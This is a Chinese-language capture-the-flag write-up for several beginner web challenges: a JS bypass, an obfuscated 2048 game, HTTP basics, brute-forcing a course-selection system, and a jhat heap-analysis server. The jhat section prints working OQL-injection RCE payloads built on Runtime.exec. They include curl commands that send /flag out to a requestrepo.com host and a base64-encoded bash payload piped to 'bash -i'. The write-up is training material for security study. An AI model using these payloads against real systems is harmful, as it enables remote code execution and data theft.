---------【WEEK-1】---------
Bypass it
题目描述:This page requires javascript to be enabled 😃
开题
不给注册,进注册就弹窗。根据题目描述,禁用JS
注册成功登录给flag
2048*16
前端小游戏出这么难。JS源码各种混淆手段很难看懂。在翻翻找找之后找到两串编码。
是换表base64。。。。。。。。
ezHTTP
题目描述:HTTP Protocol Basics
一把梭了,见图。
Select Courses
事情缘起于,我发现一模一样的包,多几次就选上了?????
平常不敢爆破的教务系统终究还是在比赛中爆破了。
就这样爆,爆足成千上万次。
如法炮制全部选上。
jhat
题目描述:
jhat is a tool used for analyzing Java heap dump files
提示1hint1: need rce
提示2hint2: focus on oql
提示3hint3: 题目不出网 想办法拿到执行结果
jhat简介:
jhat命令与jmap命令搭配使用,用于分析jmap生成的heap dump文件(堆转储快照)。jhat内置了一个微型的HTTP/HTML服务器,对生成的dump文件分析后,可以在浏览器中查看分析结果。
使用jhat命令,会启动一个http服务,默认端口7000。
附件内容:
FROM openjdk:8
COPY data /
CMD jhat heapdump.hprof
EXPOSE 7000
FROM openjdk:8
:- 这一行指定了新镜像的基础镜像。在这种情况下,它使用的是包含Java 8开发工具包的
openjdk
镜像。这意味着新创建的镜像将在已安装Java 8的环境中运行。
- 这一行指定了新镜像的基础镜像。在这种情况下,它使用的是包含Java 8开发工具包的
COPY data /
:- 这一行将宿主机上的
data
目录中的文件复制到容器的根目录(/
)中。这意味着你可以将任何需要的文件或目录从你的项目目录复制到构建的Docker镜像中。
- 这一行将宿主机上的
CMD jhat heapdump.hprof
:CMD
指令指定了容器启动时默认执行的命令。在这个例子中,当容器启动时,它将执行jhat
命令对heapdump.hprof
文件进行分析。jhat
是Java堆分析工具,用于分析Java堆转储文件。
EXPOSE 7000
:EXPOSE
指令告诉Docker容器在运行时将监听端口7000。虽然这个命令本身不会发布端口到宿主机,但它可以作为文档的一部分,说明服务期望在7000端口上接收连接。
可以先看看这篇文章:JVM命令行监控工具之jhat(Java Heap Analysis Tool)-CSDN博客
文章有提到可以使用OQL地位一些大对象,hint也有OQL,搜了一下OQL可以造成RCE,看下文:
[OQL(对象查询语言)在产品实现中造成的RCE(Object Injection) - Nebula (chenxuuu.github.io)](https://chenxuuu.github.io/wooyun_articles/drops/OQL(对象查询语言)在产品实现中造成的RCE(Object Injection).html)
以及OQL是什么:
OQL(对象查询语言,Object Query Language)是一种用于查询对象数据库的查询语言。它的设计理念与SQL(结构化查询语言,用于关系数据库)相似,但OQL是为了更好地适应对象数据库的结构而设计的。在对象数据库中,数据被存储为对象,而不是传统的表格形式。
OQL的特点:
- 面向对象:OQL是基于对象的,这意味着它能直接查询对象、对象的属性和它们之间的关系。
- 表达能力:OQL提供了丰富的表达能力来查询复杂的对象结构,包括继承、多态和关联。
- 与SQL的相似性:对于熟悉SQL的用户来说,OQL的语法相对直观,因为它借鉴了SQL的许多概念和语法结构。
- 适用于对象导向数据库:OQL主要用于对象导向数据库系统,这些系统通常用于管理复杂的数据和关系,例如在CAD(计算机辅助设计)、电信或金融服务行业中。
应用场景:
- 复杂数据模型:在需要处理复杂数据模型和关系的应用中,OQL能有效地执行查询。
- 对象导向程序设计:在对象导向的程序设计中,使用OQL可以更自然地与应用程序的数据结构集成。
回到题目,题目说不出网,但是http信道是可以带出数据的。
java.lang.Runtime.getRuntime().exec('curl -X POST --data hello http://i5yh54u0.requestrepo.com')
一开始十七踩了个坑,企图通过执行以下字符串来DNS带出flag。
java.lang.Runtime.getRuntime().exec('curl http://`cat /flag`.i5yh54u0.requestrepo.com/')
Shell特性:这个命令尝试使用反引号(`)来执行子命令(cat /flag
),这是Shell的一种特性。然而,Runtime.exec
不会解析Shell命令或Shell特性(如管道|
、重定向>
、反引号等)。它只是简单地将提供的字符串作为命令执行,而不经过Shell解释器,因此无法理解或执行嵌入的子命令。
解决方案:要使用这些特性,需要显式地调用Shell并将整个命令字符串作为Shell命令的一部分传递,例如使用bash -c "命令"
。
java.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAgaHR0cDovL2BjYXQgL2ZsYWdgLmk1eWg1NHUwLnJlcXVlc3RyZXBvLmNvbS8=}|{base64,-d}|{bash,-i}')
显式调用Shell:这个命令通过bash -c
显式调用了Shell,并将整个命令作为字符串传递给Shell。这样就可以利用Shell来解析和执行复杂的命令行特性,包括管道和命令替换。
命令解码:{echo,Y3VybCAtVCAvZmxhZyBodHRwOi8vaTV5aDU0dTAucmVxdWVzdHJlcG8uY29t}|{base64,-d}|{bash,-i}
部分实际上是一个经过编码的命令字符串,使用base64
解码后执行。这种方法绕过了直接在exec
方法中使用Shell特性的限制。
但是题目有说不出网,以上的方法估计是非预期。预期解应该是如下payload:
var process = java.lang.Runtime.getRuntime().exec("cat /flag");
var inputStream = process.getInputStream();
var scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
var result = scanner.hasNext() ? scanner.next() : "";
result;
这里可能会很懵逼哈,不是说好java怎么扯到js了呢?(var
)
Java中var是Java10版本新出的特性,用它来定义局部变量。
使用var 定义变量的语法: var 变量名 = 初始值;
Java中var类型的用法和使用var的注意事项和使用var的优缺点_java var-CSDN博客
回到payload,逐句解释一下。
1、var process = java.lang.Runtime.getRuntime().exec("cat /flag");
这行代码使用Java的Runtime
类来执行一个外部命令,这里的命令是cat /flag
。cat
命令用于在Linux中读取文件内容并将其输出到标准输出。这里假设/flag
是一个文件的路径。exec
方法返回一个Process
对象,该对象代表了执行的外部命令。
2、var inputStream = process.getInputStream();
这行代码获取了执行外部命令产生的进程的标准输出流。Process
类的getInputStream
方法返回一个输入流(InputStream
),用于读取命令的标准输出内容。
3、var scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
这里创建了一个Scanner
对象,用于解析(扫描)从inputStream
中读取的数据。Scanner
是Java的一个便利类,用于解析文本并允许程序以多种方式读取文本。useDelimiter("\\A")
设置了Scanner
的分隔符为正则表达式\\A
,这意味着它将整个输入视为一个单一的元素(因为\\A
是正则表达式的开头边界,这实际上不会分割输入,允许读取整个内容作为一个字符串)。
4、var result = scanner.hasNext() ? scanner.next() : "";
这行代码使用三元操作符来检查scanner
是否有下一个元素。如果有(即,如果有输出可读),它使用scanner.next()
读取整个输入作为一个字符串。如果没有输出,它将result
设置为空字符串。这是一种读取全部输出内容并将其存储在一个字符串变量中的快速方法。
5、result;
显示、返回或使用前面获取的result
字符串。
其实result
就是process
对象的toString方法返回的东西